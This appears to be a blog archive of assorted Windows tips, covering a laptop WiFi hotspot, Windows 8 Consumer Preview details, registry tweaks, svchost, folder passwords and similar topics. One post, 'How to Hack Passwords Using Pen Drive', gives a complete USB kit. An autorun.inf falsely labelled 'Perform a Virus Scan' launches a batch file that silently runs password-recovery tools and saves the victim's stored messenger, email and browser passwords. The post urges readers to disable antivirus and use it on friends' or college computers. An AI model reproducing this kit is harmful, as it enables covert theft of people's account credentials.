Showing posts with label Windows tips and secrets. Show all posts
Showing posts with label Windows tips and secrets. Show all posts

Wednesday, April 3, 2013

Learn How to Turn Your Laptop into WiFi Hotspot using Virtual Router



I have WiFi connectivity at home but my many friends haven’t wireless connectivity at their home whenever we worked together i use my laptop to sharing internet or files 




Today my tip and guidelines for making a WiFi hotspot with quick way to turn your any laptop into wireless connectivity you can turn your wired internet connection into WiFi hotspot this way you can also share your computer data with friends through wirelessly like movies photos and other stuff.


If you go somewhere and you need a WiFi  connectivity you just follow my instructions I will teach you how to install a WiFi hotspot on your laptop.

You just need  to install virtual router software and set some settings about security and SSID name


Note WinXp Win7 And Win8 Supported



How to:

Just plug cable into laptop and make sure internet is working and install Virtual router from here Download

after downloading install the software and click on next

After installation open the virtual router and set your SSID and Password for secure your wifi 

If you done everything then press start 
now check WFi signal on other laptop or mobile tablet 




Need some asistence don't hassle contect me


Thursday, March 1, 2012

Use Android?


Google's Android mobile platform is clearly a lot more open and free than Apple's competing iOS is, but proprietary drivers and data-collecting apps still pose a significant threat to users' freedom.



That's according to the Free Software Foundation Europe (FSFE), which on Tuesday launched a new campaign urging users to take steps to liberate their Android devices.
"Users deserve to have full control over their mobile devices," explained Torsten Grote, FSFE member and initiator of the campaign, in the group's announcement of its new “Free Your Android” campaign. "If your phone runs Free Software, you're in charge. If it runs proprietary software, you're handing control of your digital life to manufacturers and app developers."
'A Threat to Democracy'
Many mobile apps spy on their users without their knowledge, the FSFE points out, citing the Carrier IQ scandal from late last year as an example.
Meanwhile, “convenient solutions for synchronization and data backup trick more and more people into storing all their data on centralized servers run by some profit driven corporation,” the group notes. “Whoever has personal information about us is able to manipulate us. Therefore non-free devices are a threat to democracy and to our society.”
As for the devices themselves, they may be completely locked down or they may prevent users from uninstalling certain apps. Software updates are often available only as long as the manufacturer still has a commercial interest in your device, the FSFE points out.
Three Steps for Freedom
With the help of German privacy organization FoeBuD, the new Free Your Android campaign aims to help users regain control of their Android devices and their data. Toward that end, it offers suggestions in three key areas:
1. The Operating System
In addition to proprietary components and add-ons, some phones also have a locked boot loader that prevents you from booting and installing other operating systems. So, if you're in the market for an Android phone, the FSFE urges you to make sure that the boot loader can be unlocked, and it points to a page on the CyanogenMod wiki that provides a wealth of information on that topic.
The FSFE also recommends Replicant OS, an Android distribution that it says is fully free.
Not many phones can run Replicant, however; for those that can't, the FSFE recommends CyanogenMod instead.
2. The Apps
Because the Android Market doesn't generally indicate whether an app is free software or not--and because it requires a Google account--the FSFE recommends avoiding it. As an alternative, the group suggests using F-Droid, a repository of easily installable free software for Android. An Android client app makes it easy to browse free software applications on F-Droid, as well as to install them and keep track of updates. Also included when available is information about how to donate money to apps' authors.
3. Synchronization
Last but not least, the FSFE recommends several free software alternatives to the services typically used for synchronizing contacts, calendars, and other data with other devices. Among them are ACal, kolab-android, and SSH Daemon dropbear.

Read More

Windows 8


What is Windows 8 Consumer Preview?

Windows 8 Consumer Preview is a prerelease version of Windows 8 that focuses on people and apps and gives you powerful new ways to use social technologies to connect with the people who are important to you. As they day windows 8 is windows reimagined. Windows 8 Consumer Preview is built on the foundation of Windows 7.

Windows 8 Install Requirements ?

Windows 8 requires 1 Gigahertz processor, minimum 1 GB of RAM, 16 GB of hard disk space. The minimum RAM requirements are 2 GB in case you would like to install the 64-bit version of Windows 8. If your computer does not specify the criteria then you will a error message like the one shown in the image below.

New Features In Windows 8 Consumer Preview

Since the launch of windows 8 developer preview, there are many new features that have now added to the consumer preview and they are as follows. Windows 8 Consumer Preview event in Barcelona recently that was attended by partners from Europe and around the world, the company shared some key new updates in the Windows 8 Consumer Preview:
Broad range of product changes and improvements. Since the Developer Preview in September, designed to preview the programming platform, Windows 8 has progressed across every dimension. From completing the user experience for touch, keyboard and mouse to refining the development platform, the Consumer Preview improves performance, quality and reliability across all subsystems. With the added features, it represents a more complete view of the capabilities of Windows 8.
Windows Store with new apps. The Windows 8 Consumer Preview marks the beta opening of the Windows Store, which is filled with a variety of new Metro style apps from both third-party developers and Microsoft. During the Consumer Preview, these apps are available to try and experience at no cost to users. The Windows Store will offer personalized recommendations, and Windows 8 gives users the ability to take their apps and settings with them across multiple PCs, making it easy to discover and try new apps while offering developers the greatest opportunity of any platform.
Connecting to the cloud across Windows-based PCs and Windows Phone 7. The Windows 8 Consumer Preview offers seamless integration with the content people care about across their Web services. An optional additional sign-on with a Microsoft account provides access to a host of features, including the ability to roam all settings, use cloud storage, communicate with email, calendar and contacts, and connect to a broad range of services. Your connection to the cloud works across your Windows-based PCs and your Windows 7 phones.
Internet Explorer 10 Platform Preview 5. The best way to experience the Web on Windows is with Internet Explorer 10. The browser has been re-imagined to create a new experience designed specifically for Windows 8devices. It provides an edge-to-edge user interface that is all about less browser and more Web. Fast and fluid, Internet Explorer is hardware-accelerated to enable Web performance.

Can I Upgrade From Vista, Windows 7 or Windows 8 Developer Preview To Windows 8 Developer Preview?

Yes, is the answer to all the questions above, but please see the information below on what you can keep while you do the upgrade from old windows os version to windows 8 consumer preview version.
windows 8 upgrade limitations

From Where To Download Windows 8?

In order to download windows 8 consumer preview, go to this page and for the product keys head to this page. When you download the windows 8 from the link we just mentioned you will download small 5 MB windows 8 setup assistant which will again check your computer hardware requirement and will tell you which of your currently installed apps are compatible and which ones are not as shown in the image below. 
windows 8 consumer preview setup assistent

Will Your Existing Software’s Installed Work In Windows 8?

In order to find out whether your existing software which are currently installed on your computer work in windows 8, check out this page and search for the software which you trying to compatible with windows 8 as shown in the image below.
windows 8 compatibile apps lists
or another way as we already mentioned that you can download the windows 8 consumer preview setup utility from here and run it generate the software which may not work in windows 8 as shown in the image below.
windows 8 non compatible apps report


How To Get Windows 8 Consumer Preview Product or License Keys?

Some keys you can try when you install windows 8 consumer preview are
JGH7R-D6N3C-Y383J-FMJ8W-F3F98
or
NF32V-Q9P3W-7DR7Y-JGWRW-JFCK8
or
DNJXJ-7XBW8-2378T-X22TX-BKG7J
or refer to the keys mentioned in the image below for different language versions of windows 8 developer preview or simply go to this page to get the new keys for windows 8 consumer preview trail.
windows 8 product keys trail

Can I Directly Download The ISO Image of Windows 8?

Yes, you can microsoft has now allowed to download the ISO image directly from their servers for those who need without the regular hassle of windows 8 consumer setup utility. Go to this page to download the ISO file.

Size Of Windows 8 Setup?

Windows 8 is of different size when it comes to 32 bit or 64 bit version, see the table below to know the size.
windows 8 setup file size

Different Ways To Install Windows 8 Consumer Preview?

Incase you want to know how to install windows 8 consumer preview with USB drive, read the guide by RedmondPie here or if you want to install windows 8 consumer preview on Virtual Machine then follow this guide by PC World.

Monday, August 22, 2011

The Sun sets on XP as Microsoft phases it out despite interest



Windows XP has been the iconic operating system since it debuted in October of 2001. By today's standards the computers made back then were little more than large calculators but perhaps I am exaggerating that point. Since that time Windows XP was installed on every single computer sold but now the sun is going to set on the operating system that was known as Windows XP.

Microsoft is intent on no longer making OEM versions of Windows XP, this means computer manufacturers will no longer be able to install XP on systems unless they have a very specific agreement with Microsoft or are just good buddies with them like Dell.

Dell will introduce systems under a Customized with XP slogan, there really isn't much more information on that but these systems won't be on offer until later this year. Other manufacturers will probably just offer Vista on all their systems since Dell is the only one to have strong objections to this so far. But, Dell also has some of the strongest ties with Microsoft so it makes sense THEY could get away with it.

This could also mean that you will no longer be able to pick up OEM copies of XP from online retailers like Newegg and others. It has not been speculated on what this means for full retail copies of XP, my guess is that its demise is not far behind.

APCMag is reporting that by early 2008 most of Microsoft's contracts with computer manufacturers will require them to install Vista only and they wont have a choice. Consumer demand for XP preinstalled on systems is still strong and given the compatibility and performance problems of Vista on SOME systems this move is probably a little premature on Microsoft's part. That isn't going to stop them.

I'm all for Vista, I think it is a nice step forward and believe it or not those backwards compatibility issues with programs is a security feature if older apps can't run that means older viruses or spyware can't run in some cases, I've also noticed lower infection rates across the board on Vista at least for the short few months it has been out.

What will keep most people away from Vista are the hardware requirements. Most consumers will have no choice but to buy a completely new system if they want the full Vista experience and that should include a dedicated graphics card, dual core processor and 1GB to 2GB of memory (laptop or desktop) when buying a computer with Vista.







How to Hack Passwords Using Pen Drive

Today I will show you how to hack Passwords using an USB Pen Drive. As we all know, Windows stores most of the passwords which are used on a daily basis, including instant messenger passwords such as MSN, Yahoo, AOL, Windows messenger etc. Along with these, Windows also stores passwords of Outlook Express, SMTP, POP, FTP accounts and auto-complete passwords of many browsers like IE and Firefox. There exists many tools for recovering these passwords from their stored places. Using these tools and an USB pen drive you can create your own root kit to hack passwords from your friend’s/college Computer.

We need the following tools to create our root kit:

MessenPass: Recovers the passwords of most popular Instant Messenger programs: MSN Messenger, Windows Messenger, Yahoo Messenger, ICQ Lite 4.x/2003, AOL Instant Messenger provided with Netscape 7, Trillian, Miranda, and GAIM.

Mail PassView: Recovers the passwords of the following email programs: Outlook Express, Microsoft Outlook 2000 (POP3 and SMTP Accounts only), Microsoft Outlook 2002/2003 (POP3, IMAP, HTTP and SMTP Accounts), IncrediMail, Eudora, Netscape Mail, Mozilla Thunderbird, Group Mail Free.

Mail PassView can also recover the passwords of Web-based email accounts (HotMail, Yahoo!, Gmail), if you use the associated programs of these accounts.

IE Passview: IE Pass View is a small utility that reveals the passwords stored by Internet Explorer browser. It supports the new Internet Explorer 7.0, as well as older versions of Internet explorer, v4.0 - v6.0

Protected Storage PassView: Recovers all passwords stored inside the Protected Storage, including the AutoComplete passwords of Internet Explorer, passwords of Password-protected sites, MSN Explorer Passwords, and more…

PasswordFox: Password Fox is a small password recovery tool that allows you to view the user names and passwords stored by Mozilla Firefox Web browser. By default, Password Fox displays the passwords stored in your current profile, but you can easily select to watch the passwords of any other Firefox profile. For each password entry, the following information is displayed: Record Index, Web Site, User Name, Password, User Name Field, Password Field, and the Signons filename.

Here is a step by step procedure to create the password hacking toolkit:

NOTE: You must temporarily disable your anti virus before following these steps. This hack works on . This procedure will only recover the stored passwords (if any) on the Computer. Some versions of Fire Fox don't store passwords.

1. Download all the 5 tools, extract them and copy only the executables(.exe files) into your USB Pen drive.

ie: Copy the files - mspass.exe, mailpv.exe, iepv.exe, pspv.exe and passwordfox.exe into your USB Drive.

2. Create a new Notepad and write the following text into it

[autorun]

open=launch.bat

ACTION= Perform a Virus Scan


save the Notepad and rename it from

New Text Document.txt to autorun.inf

Now copy theautorun.inf file onto your USB pendrive.

3. Create another Notepad and write the following text onto it.

start mspass.exe /stext mspass.txt

start mailpv.exe /stext mailpv.txt

start iepv.exe /stext iepv.txt

start pspv.exe /stext pspv.txt

start passwordfox.exe /stext passwordfox.txt

save the Notepad and rename it from

New Text Document.txt to launch.bat

Copy the launch.bat file also to your USB drive.

Now your rootkit is ready and you are all set to hack the passwords. You can use this pendrive on your friend’s PC or on your college computer. Just follow these steps:

1. Insert the pen drive and the autorun window will pop-up. (This is because, we have created an autorun pen drive).

2. In the pop-up window, select the first option (Perform a Virus Scan).

3. Now all the password hacking tools will silently get executed in the background (This process takes hardly a few seconds). The passwords get stored in the .TXT files.

4. Remove the pen drive and you’ll see the stored passwords in the .TXT files.









How To Prevent Windows XP Users From Writing To USB Drives

USB drives are extremely handy tools, but in some instances it might not be a good idea to allow users to write onto these devices from their PCs. This is especially true when working with highly confidential data or intellectual property at work. Users of Windows XP with service pack 2 installed can disable writing to USB devices.
To do this:

Open the Registry Editor click on the Start button on your taskbar, then click on Run and type “regedit” and click on OK to start the regedit utility.

Expand HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control.

From there right click and create a new key and name it “StorageDevicePolicies”. In the window on the right then create a new DWORD value and label it WriteProtect, give it a value of “1″ and users can no longer write to USB drives. To re-enable this option change the value to 0 and users are again allowed to write.

The modifications you made will be in effect after you reboot your PC.

Remove Start Button from the Task bar

Users who like total desktop conversions might seek methods of removing standard Windows elements like the Windows Start Button to maximize screen estate. Not everyone would want to give up on the Windows Start Menu but someone who is working with an application launcher like Launch would probably not miss it at all.



But even those users who rely on the Windows Start Menu won’t have that many difficulties accommodating because Start Killer, the name of the application, removes the Start button only for the time it is running in the background. It furthermore provides keyboard shortcuts to display the Windows Start Menu even while running.



Start Killer will automatically remove the Windows Start Menu button from the Windows Taskbar once it is running. It works with every taskbar orientation possible which should make users happy who run the Windows Taskbar on the left or right side of the screen.



A few things need to be explained. The Windows Start Menu can be displayed with the keyboard shortcuts [Windows] or [CTRL+ESC]. That opens the Windows Start Menu at the usual position and hides it again once the user has finished the task at hand.



Start Killer adds an icon to the Windows System Tray which provides access to several settings after right-clicking it. The application can be set to load on system startup. It is furthermore possible to disable the System Tray icon in the options.



Computer memory usage of Start Killer is at the low end with about 2.5 Megabytes and barely any virtual memory.

Windows XP, WIndows 2003 registry hacks for better performance

Here are some of my favorite registry hacks for getting better performance from your Windows XP / Windows 2003 box.

1. Faster application loading : For faster application loading you can change the prefetch parameters value. Windows perfetcher loads application faster by prefetching the applications and storing it in prefetch cache.

KEY : HLM\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management\PrefetchParameters

Value Name : EnablePrefetcher

Value Type : DWORD

Preferred Value : 5

2. Boot files optimization : This hack will enable the defragmentation of boot files, which may result in reducing the boot time.

KEY : HLM\Software\Microsoft\Dfrg\BootOptimizeFunction

Value Name : Enable

Value Type : string

Preferred Value : Y

3. Unload unused DLLs : This hack will enable the automatic unloading of program associated DLLs from memory when a program ends. This will free the memory and other resources for other running programs.

KEY : HLM\Software\Microsoft\Windows\CurrentVersion\Explorer\AlwaysUnloadDLL

Value Name : (Default)

Preferred Value : 1

4. Disable user tracking : Yes, you read it right. Windows XP tracks each and every action you take, each and every move you make. It tracks program run by user, the paths followed, the documents used and M$ knows what else. Disable this “feature” will free up system resources and other side effects you may yourself think of.

KEY : HCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer

Value Name : NoInstrumentation

Value Type : DWORD

Preferred Value : 1

5. Configure system cache : If you are using your system as a server then file caching is good. If you are using your system as a desktop then file caching is not so good.

KEY : HLM\System\CurrentControlSet\Control\Session Manager\Memory Management

Value Name :
LargeSystemCache

Value Type : DWORD

Preferred Value : 1 (for servers)

Preferred Value : 0 (for desktops)

6. Faster shutdown : This hack will enable the shutdown without waiting for running applications to shutdown safely.

KEY : HCU\Control Panel\Desktop

KEY : HU\DEFAULT\Control Panel\Desktop

Value Name : AutoEndTasks



Value Type :
string

Preferred Value : 1

6. CPU time slice allocation priority : This hack will allow you to configure your CPU time priority for foreground processes. This hack is only useful if you are using your machine as a desktop system.

KEY : HLM\SYSTEM\CurrentControlSet\Control\PriorityControl

Value Name : Win32PrioritySeparation



Value Type :
DWORD

Preferred Value : 2 (foreground task have higher priority than background ones)

Preferred Value : 1 (foreground task have maximum priority)

And don’t forget to reboot after applying all these registry hacks.

OK, folks that’s all from me for now. Will keep you updated with my adventures in my technological life.

How to Connect Two Laptops Using WiFi

This is step by step tutorial on how you can connect two laptops using WiFi (or two desktop computers with WiFi devices). This type of network is known as peer to peer network and is useful for file sharing and using same INTERNET connection on both systems. So as told earlier you should have two laptops with WiFi or desktops with WiFi devices to make this connection.



Connecting Two Computers Using WiFi


Let’s name both laptops as PC1 and PC2. Now we need to set names and workgroups of both computers (Remember both computers will have same workgroups). To set the name and workgroup of both computers right click on My Computer and select Properties. Click the tab which says Computer Name and change names of computers as you like (Here we will set computer names PC1 and PC2) and also change the Workgroup option as you like (but this Workgroup should be same for both computers).

Now you need to make “Wireless Network Connection” in PC1. Right click on Wireless Network icon for this and click on option “View Available Wireless Network”.

Now click on option “Change Advance Settings”.

Now a windows “Wireless Internet Connection Properties” will open. Click on the tab which says “Wireless Network” and then click Add button. Now write a name in Network Name field. You can also set a password here if you like and also remember to check the option “This is computer to computer network”. Now press OK and “wireless network properties” will be closed.

Now in next step, you need to provide IP for network in “Internet Protocol (TCP/IP)”. For this, right click on “Wireless Internet Connection” and go in Properties and click Internet Protocols and then click Properties. Here For example.

PC1 = IP Address: 192.168.1.1 Subnet Mask: 255.255.255.0

PC2 = IP Address: 192.168.1.2 Subnet Mask: 255.255.255.0

And Default Gateway as 192.168.1.1 (same as IP address of PC1). Having done this all, you can connect both computers using WiFi.

File Sharing Between Both Computers

Now for file sharing Enable the Sharing of “Shared Folder” in both computers. So to go in other computer, write IP address of that computer in address bar of first computer and press Enter (in this case write \\192.168.1.1 and press Enter). This will open other computer’s sharing folder where you can share file, delete files or rename them (make sure to allow these actions from other computer).

Wireless Internet Sharing Between Both Computers

It is very easy to do when you have followed above procedure. Right click on “Internet Connections” on one computer (which has INTERNET connection in it) and go in Properties and click on Sharing and check the option which says “Allow other network users to connect through this computer” and select “Wireless Internet Connection” in “Home Network Connection”. If you want you can also check “Establish Dial up Connection” and “Allow Other Network” .

That is it. You have connected both computers using WiFi and now you can share files, play games and chat on this network.

The Bare Minimum Processes Needed to Run Windows XP

When repairing a PC by either trying to shutdown a virus, trying to remove adware/spyware/malware, or just trying to get a speed increase, you need to shut down processes that run in the background.

It is necessary to know the bare minimum processes which Windows needs to operate, and it is sometimes difficult to tell.

Here is a list of the essential processes that Windows needs to run correctly.

System Idle Process
explorer.exe
taskmgr.exe
spoolsv.exe
lsass.exe
csrss.exe
smss.exe
winlogon.exe
svchost.exe – You will notice more than one running.
services.exe
By shutting down anything other than these processes, stand alone Windows should operate fine, however, if any of these processes are shutdown, Windows will start to become unstable, or unusable.

On most computers there will be multiple instances of svchost.exe, these control various connections on your computer whether it is to the Internet, or within a LAN. It is usually safe to switch off some of these, however, it’s not easy to determine which ones, so its better to leave these alone.

To shutdown a Windows process, Press Ctrl+Alt+Delete which will take you to Windows Task Manager, click on the Processes Tab, select a process and click End Process.

If you are not sure what a particular process does, then I recommend checking out Uniblue Process Library, a library that lists what each task does, its threat level,and makes it easy to determine what is running on your computer.







Bypass The Windows XP Log On Screen

To make logon an unattended process:
Click [Start] [Run] and type

control userpasswords2

Click [OK]

The [User Accounts] Property Sheet displays.

On [Users] tab, clear the [Users must enter a user name and password to use this computer] check box.

Click [Apply].

Enter a user name and password that should be used to logon automatically in the dialog box that appears.

Click [OK].

Go to [Control Panel] [User Accounts] [Change the Way Users Log On and Off].

Uncheck [Use the Welcome Screen] and [Use Fast User Switching]

Friday, May 13, 2011

The Sun sets on XP as Microsoft phases it out despite interest


Windows XP has been the iconic operating system since it debuted in October of 2001. By today's standards the computers made back then were little more than large calculators but perhaps I am exaggerating that point. Since that time Windows XP was installed on every single computer sold but now the sun is going to set on the operating system that was known as Windows XP.
Microsoft is intent on no longer making OEM versions of Windows XP, this means computer manufacturers will no longer be able to install XP on systems unless they have a very specific agreement with Microsoft or are just good buddies with them like Dell.
Dell will introduce systems under a Customized with XP slogan, there really isn't much more information on that but these systems won't be on offer until later this year. Other manufacturers will probably just offer Vista on all their systems since Dell is the only one to have strong objections to this so far. But, Dell also has some of the strongest ties with Microsoft so it makes sense THEY could get away with it.
This could also mean that you will no longer be able to pick up OEM copies of XP from online retailers like Newegg and others. It has not been speculated on what this means for full retail copies of XP, my guess is that its demise is not far behind.
APCMag is reporting that by early 2008 most of Microsoft's contracts with computer manufacturers will require them to install Vista only and they wont have a choice. Consumer demand for XP preinstalled on systems is still strong and given the compatibility and performance problems of Vista on SOME systems this move is probably a little premature on Microsoft's part. That isn't going to stop them.
I'm all for Vista, I think it is a nice step forward and believe it or not those backwards compatibility issues with programs is a security feature if older apps can't run that means older viruses or spyware can't run in some cases, I've also noticed lower infection rates across the board on Vista at least for the short few months it has been out.
What will keep most people away from Vista are the hardware requirements. Most consumers will have no choice but to buy a completely new system if they want the full Vista experience and that should include a dedicated graphics card, dual core processor and 1GB to 2GB of memory (laptop or desktop) when buying a computer with Vista.



Creating a Torrent file using uTorrent

By now, you have surely heard of, and probably used, torrent files. While you may know how to use them for downloading distributed content, did you know that you can use uTorrent to create your own torrent file for sharing your content?
1. Open uTorrent.
2. Go to the menu, click File and select Create New Torrent.
3. Once the new window appears, go to the Select Source section and click either the Add file or Add directory button, depending on what your need is. Browse to the desired file or directory, select it, and click the Open button.
4. If you know your Tracker and Web Seed information, enter them in the Torrent Properties section.
5. Click the Create and save as button and browse to the location that you want the file saved to. Click the Save button.

Friday, May 6, 2011

What is svchost.exe And Why Is It Running?

You are no doubt reading this article because you are wondering why on earth there are nearly a dozen processes running with the name svchost.exe. You can't kill them, and you don't remember starting them… so what are they?
So What Is It?
According to Microsoft: "svchost.exe is a generic host process name for services that run from dynamic-link libraries". Could we have that in english please?
Some time ago, Microsoft started moving all of the functionality from internal Windows services into .dll files instead of .exe files. From a programming perspective this makes more sense for reusability… but the problem is that you can't launch a .dll file directly from Windows, it has to be loaded up from a running executable (.exe). Thus the svchost.exe process was born.
Why Are There So Many svchost.exes Running?
If you've ever taken a look at the Services section in control panel you might notice that there are a Lot of services required by Windows. If every single service ran under a single svchost.exe instance, a failure in one might bring down all of Windows… so they are separated out.
Those services are organized into logical groups, and then a single svchost.exe instance is created for each group. For instance, one svchost.exe instance runs the 3 services related to the firewall. Another svchost.exe instance might run all the services related to the user interface, and so on.
So What Can I Do About It?
You can trim down unneeded services by disabling or stopping the services that don't absolutely need to be running. Additionally, if you are noticing very heavy CPU usage on a single svchost.exe instance you can restart the services running under that instance.
The biggest problem is identifying what services are being run on a particular svchost.exe instance… we'll cover that below.
If you are curious what we're talking about, just open up Task Manager and check the "Show processes from all users" box:
Checking From the Command Line (Vista or XP Pro)
If you want to see what services are being hosted by a particular svchost.exe instance, you can use the tasklist command from the command prompt in order to see the list of services.
tasklist /SVC
The problem with using the command line method is that you don't necessarily know what these cryptic names refer to.
Checking in Task Manager in Vista
You can right-click on a particular svchost.exe process, and then choose the "Go to Service" option.
This will flip over to the Services tab, where the services running under that svchost.exe process will be selected:
The great thing about doing it this way is that you can see the real name under the Description column, so you can choose to disable the service if you don't want it running.
Using Process Explorer in Vista or XP
You can use the excellent Process Explorer utility from Microsoft/Sysinternals to see what services are running as a part of a svchost.exe process.
Hovering your mouse over one of the processes will show you a popup list of all the services:
Or you can double-click on a svchost.exe instance and select the Services tab, where you can choose to stop one of the services if you choose.
Disabling Services
Open up Services from the administrative tools section of Control Panel, or type services.msc into the start menu search or run box.
Find the service in the list that you'd like to disable, and either double-click on it or right-click and choose Properties.
Change the Startup Type to Disabled, and then click the Stop button to immediately stop it.
You could also use the command prompt to disable the service if you choose. In this command "trkwks" is the Service name from the above dialog, but if you go back to the tasklist command at the beginning of this article you'll notice you can find it there as well.
sc config trkwks start= disabled
Hopefully this helps somebody!



How To Change the Default View Source Editor for Internet Explorer

If you hate using Notepad as the source editor for IE, you can change the default View Source Editor for Internet Explorer by following one of these methods.
You have three choices:
(A) Download software
View Source Editor
http://www.iconico.com/viewSourceEditor/
“Are you frustrated at Internet Explorer’s insistence on using Notepad when you click View Source? This little application let’s you use any text editor instead of Notepad. All you need to do it choose the program and you’re set.”
(B) Manual Registry Edit
Change default View Source editor in IE
http://dotnet.org.za/thea/archive/2004/11/25/7933.aspx
(C) Create a Registry File
1. Copy below and paste into Notepad.
———-copy inside only———-
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\View Source Editor]
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\View Source Editor\Editor Name]
@=”\”C:\\Program Files\\Notepad++\\notepad++.exe\”"
———-copy inside only———-
2. Modify the line @= to suite your choice.
   (Match the syntax or it won’t work!)
3. Save-as IE_View_Source_Editor.reg (or any name + .reg)
4. Double-click or right-click and merge into the Registry.

Windows XP: Hide 'User Accounts' from users

Go to Start/Run, and type: GPEDIT.MSC
Open the path: User Config > Admin Templates > Control Panel
double click "Hide specified Control Panel applets"
put a dot in 'enabled', then click 'Show"
click Add button,
type "nusrmgt.cpl" into the add box



Windows XP: How to Rename the Recycle Bin

To change the name of the Recycle Bin desktop icon, open Regedit and go to:
HKEY_CLASSES_ROOT/CLSID/{645FF040-5081-101B-9F08-00AA002F954E}
and change the name "Recycle Bin" to whatever you want (don't type any quotes).

Windows 7: Can My Computer Run XP Mode?

XP Mode is a Virtual PC based environment that can be installed and run on a compatible Windows 7 Professional, Enterprise or Ultimate machine. The feature provides users with a safety net for compatibility to run there applications, just in case the apps do not run on Windows 7. In order for XP Mode to run on a computer, the PC must meet a set of requirements.

Here are the requirements for XP Mode:
Windows 7 Ultimate, Enterprise, or Ultimate2GB of RAM (the more, the better)Intel Virtualization technology (Intel VT) or AMD virtualization (AMD-V)

While the first two criteria are relatively simple to check, you may be wondering if your processor meets the virtualization requirement. There are two tools available for download that will easily answer that question:

If you have an Intel processor, you will need to download and run the Intel Processor Identification Utility.

If you have an AMD processor, you will need to download and run the AMD-V Technology and Microsoft Hyper-V Compatibility Check.

You will need to run the utilities with elevated privilege, so right-click the executable and select Run as administrator.

Password Protect Folders in Windows XP

Do you share a computer with other users and want some extra security on your folders? There are two ways to password protect a folder built into Windows XP (for other Windows flavors, there are some freeware/shareware programs out there).

#1 If you have a log in password for your account, this can be used to protect folders from other users. Your hard drive must be formatted using NTFS (which it probably is unless you're dual booting with another operating system). Here's what to do...

Right-click the folder that you want to make private and choose "Properties" (or Alt+Double-click). Go to the "Sharing" tab and check the "Make this folder private" box.


 
Click Apply . If you do not have a password on your account, a box will pop up asking if you want to assign a password. This must be done if you want to make the folder private, so click Yes . You will need to use your password to log on to your computer from then on.

Type in a password then confirm it. Click the "Create Password" button then close the Password window.

Click OK in the Properties dialog box.

Now anyone else logged on to your computer can't access that file without knowing your password.

#2 If the Folder is Zipped you can give it a unique password.

Just double-click the zipped folder. In the top menu select File then click "Add a Password".



 
Type a password into the Password box. Then again in the "Confirm Password" box.


 
Now, you are the only person who can access files in this folder. The folder can be opened allowing the files to be seen, but you are the only one who can access them.

Don't you feel more secure now?

Using xp-AntiSpy

xp-AntiSpy is a neat little utility to automatically apply different settings to the operating system, which could also be done by hand, but at a higher expense of time.
It’s latest version 3.95 can be downloaded from here
xp-AntiSpy runs on the following operating systems:
  • Microsoft Windows XP Home/Professional
  • Microsoft Windows 2000 Professional
It displays various settings most of which are hidden in Windows.
Now, select Profiles>Suggested and the program will highlight all the important settings, then click ‘Apply Settings’ and restart Windows for the settings to take effect.
Well that part is over.
The next option is ‘Connection Limit’. This option can be used to increase the default connection limit in Windows which is 10.
The following was extracted from the xp-AntiSpy help file:
The connection limit was introduced by Microsoft with Service Pack 2 for Windows XP and Service Pack 1a for Windows 2003. It limits the connection requests at a time to 10. This should prevent malware from goin’ bezerk on your system and spreading its seed rapidly all around the network.
Some programs, for example file sharing software, sometimes reach the limit and therefore cannot perform as required without the limit.
Performance is not meant as bandwidth in this context.
You can check for yourself if your system reaches the limit. Take a look in the event viewer (hit start->run and enter Eventvwr.msc). When you click the System entry, take a look at the row named Event ID. If you see the number 4226 being displayed, then your system has reached the limit at that time.
To increase connection limit go to Special>Connection Limit which will bring up a dialog box with a message. Click ‘Yes,I got it’.
A second dialog box shows up displaying your current Connection Limit.
If the limit set on your computer is 10 then change it to 50 and click ‘Patch’.
Applying this tweak is very useful for file sharing softwares.
That’s it. I hope you found this tutorial useful. Please let me know by commenting



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